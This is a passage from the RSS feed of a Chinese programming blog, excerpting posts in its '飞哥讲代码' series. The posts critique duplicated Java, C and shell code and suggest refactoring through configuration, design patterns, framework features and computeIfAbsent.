&lt;p&gt;去年在做BCM切换进行如火如荼时，一位兄弟找到我，有如下对话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;■■(工号) 2019-08-27 14:50&lt;br&gt;
飞哥，下午有时间吗？▲▲的性能瓶颈的问题想跟你讨论一下&lt;br&gt;
◆◆◆(工号) 2019-08-27 14:51&lt;br&gt;
好&lt;br&gt;
■■(工号) 2019-08-28 10:39&lt;br&gt;
飞哥，性能有提升， 8W8 压到了 9W7&lt;br&gt;
提升了1W&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一个下午的时间，到底发生了什么，对代码做了什么优化，性能提升将近1W TPS？&lt;/p&gt;
&lt;p&gt;出现性能瓶颈的组件是平台一个很成熟的中间件，从x86切换到arm下性能基准测试情况如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;组网：3 client + 1 server&lt;/li&gt;
&lt;li&gt;环境：4VM(arm 8C64G) VS 4VM(x86 8C64G）&lt;/li&gt;
&lt;li&gt;基准测试：TPS x86 VS arm = 1 VS 0.6&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码7：消除重复，需要脚本模块化</title>
      <link>http://lanlingzi.cn/post/technical/2020/0627_code/</link>
      <pubDate>Sat, 27 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0627_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;这次就不上代码了。情况是这样的，我们某一新产品，采用微服务架构，每个微服务独立的源码仓：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个服务都要支持手工安装，DF部署，容器部署。&lt;/li&gt;
&lt;li&gt;每个服务都要支持修改密钥，密码等。&lt;/li&gt;
&lt;li&gt;每个服务都要支持容灾，WatchDog等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面的功能实现都需要采用Shell脚本，当搞定一个服务时，只需要复制到其它的服务，是最为常见的做法。但这种做法也带来了大量的重复，导致维护极其困难。真是拷贝一时爽，维护成了火葬场。主要问题表现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务内重复：&lt;/strong&gt; 同一服务内脚本不同场景下复制粘贴，如手工安装与DF部署，都需要创建OS用户，没有抽取公共函数复用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务间重复：&lt;/strong&gt; 不同服务间脚本复制粘贴，如同样是修改密码，只是配置文件路径不一样，配置项略有差别，没有抽取公共脚本复用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺少封装性：&lt;/strong&gt; 部分脚本从头到尾没有任何函数提取，大块脚本从顶写到尾，全局变量到处飞，阅读极其困难。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;健壮性不足：&lt;/strong&gt; 脚本中的操作没有判断返回值或退出状态码，脚本没有太多的可靠性的防护。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码6：消除重复，需要配置代码分离</title>
      <link>http://lanlingzi.cn/post/technical/2020/0621_code/</link>
      <pubDate>Sun, 21 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0621_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一平台产品前端源码(Java语言)中：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Java&#34; data-lang=&#34;Java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;static&lt;/span&gt; Map&amp;lt;String, Map&amp;lt;String, String&amp;gt;&amp;gt; &lt;span style=&#34;color:#008b45&#34;&gt;constructConstrainMap&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Map&amp;lt;String, Map&amp;lt;String, String&amp;gt;&amp;gt; typeConstrainMap = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; HashMap&amp;lt;String, Map&amp;lt;String, String&amp;gt;&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Map&amp;lt;String, String&amp;gt; imageConstrainPatternMap = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; HashMap&amp;lt;String, String&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;allowdPatten&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;^[a-zA-Z0-9_~.=@-]$&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;allowdMin&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;allowdMax&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;256&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;allowdValue&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;noEcho&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imageConstrainPatternMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;com.huawei.....&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    typeConstrainMap.&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(TPropType.&lt;span style=&#34;color:#658b00&#34;&gt;IAA_S_IMAGE_ID&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;value&lt;/span&gt;(), imageConstrainPatternMap)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Map&amp;lt;String, String&amp;gt; netWorkConstrainPatternMap = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; HashMap&amp;lt;String, String&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 省略 put ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Map&amp;lt;String, String&amp;gt; containerConstrainPatternMap = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; HashMap&amp;lt;String, String&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 省略 put ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 省略 其它的Constrain代码 ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码在一个方法中构造了16个Constrain，它是提供给BME控件用于输入框的校验。显然代码出现了重复（相似），也较容易想到采用外部配置文件方式来简化样板代码，但采用什么配置方式呢？&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码5：消除重复，需要搞点设计模式</title>
      <link>http://lanlingzi.cn/post/technical/2020/0613_code/</link>
      <pubDate>Sat, 13 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0613_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一平台产品源码(Java语言)中：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Java&#34; data-lang=&#34;Java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;RemoteExecuteHandler&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; Future&amp;lt;RemoteExecuteResult&amp;gt; &lt;span style=&#34;color:#008b45&#34;&gt;handleDownload&lt;/span&gt;() &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throws&lt;/span&gt; SspException {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            initSshClient();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Future&amp;lt;RemoteExecuteResult&amp;gt; feture = downloadPackage();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; feture;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;catch&lt;/span&gt; (SspException e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            LOGGER.&lt;span style=&#34;color:#658b00&#34;&gt;error&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;CMC download package failed&amp;#34;&lt;/span&gt;, e);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            closeSshClient();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throw&lt;/span&gt; e;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; Future&amp;lt;RemoteExecuteResult&amp;gt; &lt;span style=&#34;color:#008b45&#34;&gt;handleLoad&lt;/span&gt;() &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throws&lt;/span&gt; SspException {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            initSshClient();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Future&amp;lt;RemoteExecuteResult&amp;gt; feture = loadPackage();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; feture;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;catch&lt;/span&gt; (SspException e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            LOGGER.&lt;span style=&#34;color:#658b00&#34;&gt;error&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Load site package failed&amp;#34;&lt;/span&gt;, e);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            closeSshClient();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throw&lt;/span&gt; e;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 下面还有几个类似的方法，不再一一列表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码较直观地出现重复（相似），除了执行具体的动作与日志不一样，都是样板代码。当然还存在其它问题:&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码4：消除重复，需要了解框架机制</title>
      <link>http://lanlingzi.cn/post/technical/2020/0605_code/</link>
      <pubDate>Fri, 05 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0605_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一平台产品源码(Java语言)中（&lt;code&gt;代码一&lt;/code&gt;）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Java&#34; data-lang=&#34;Java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;ServiceFactory&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;static&lt;/span&gt; ServiceFactory instance = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; ServiceFactory();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;static&lt;/span&gt; ServiceFactory &lt;span style=&#34;color:#008b45&#34;&gt;getInstance&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; instance;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Getter&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Setter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Autowired&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; AppTemplateDesignServie appTemplateDesignServie;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Getter&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Setter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#707a7c&#34;&gt;@Autowired&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; AppTemplateExportServie appTemplateExportServie;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;// 下面还有十多个Service对象注入，提供Getter与Setter，不再一一列出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再来看另一平台服务的代码(Java语言)（&lt;code&gt;代码二&lt;/code&gt;）：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码3：简洁高效的线程安全</title>
      <link>http://lanlingzi.cn/post/technical/2020/0531_code/</link>
      <pubDate>Sun, 31 May 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0531_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一中间件产品源码(Java语言)中（&lt;code&gt;写法一&lt;/code&gt;）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;// ConcurrentMap&amp;lt;String, AtomicLong&amp;gt; rejectMessageCounts = new ConcurrentHashMap&amp;lt;&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; AtomicLong &lt;span style=&#34;color:#008b45&#34;&gt;getRejectMessageCount&lt;/span&gt;(String serviceName) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    AtomicLong rejectMessageCount = rejectMessageCounts.&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;(serviceName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt; == rejectMessageCount) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rejectMessageCount = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; AtomicLong();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        AtomicLong currentValue = rejectMessageCounts.&lt;span style=&#34;color:#658b00&#34;&gt;putIfAbsent&lt;/span&gt;(serviceName, rejectMessageCount);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt; != currentValue) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            rejectMessageCount = currentValue;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; rejectMessageCount;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码是线程安全的，但不够简洁，Java 1.8的&lt;code&gt;ConcurrentMap&lt;/code&gt;提供&lt;code&gt;computeIfAbsent()&lt;/code&gt;方法，可以简化为（&lt;code&gt;写法二&lt;/code&gt;）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Java&#34; data-lang=&#34;Java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; AtomicLong &lt;span style=&#34;color:#008b45&#34;&gt;getRejectMessageCount&lt;/span&gt;(String serviceName) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; rejectMessageCounts.&lt;span style=&#34;color:#658b00&#34;&gt;computeIfAbsent&lt;/span&gt;(serviceName, (key)-&amp;gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; AtomicLong());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码2：把大象装进冰箱要几步</title>
      <link>http://lanlingzi.cn/post/technical/2020/0523_code/</link>
      <pubDate>Sat, 23 May 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0523_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面的代码来自我们某一老产品源码(C语言)中：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;VOS_INT &lt;span style=&#34;color:#008b45&#34;&gt;STARTER_Download&lt;/span&gt;(VOD_VOID) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    VOS_UINT32 count, sleepTimeLen;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    VOS_CHAR ascExcuteFile[INSTALL_MAX_DIRNAME_LEN]={ &lt;span style=&#34;color:#b452cd&#34;&gt;0&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    VOS_BOOL enIsHaveUpdateOk = VOS_FALSE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    VOS_INT siRet;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    BOOTTRACE(TRACE_TIP, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;Checking and updating files...&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt;(LOAD_Init()==VOS_FALSE) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        BOOTTRACE(TRACE_ERR, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;The LOAD Init return error&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; VOS_ERR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    siRet=LOAD_Begin(LD_STAGE_INSCHK, &amp;amp;g_downloadFileCount, g_pstFileListInfo, LD_ONLINE_UPDATE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt;(siRet != VOS_OK) {
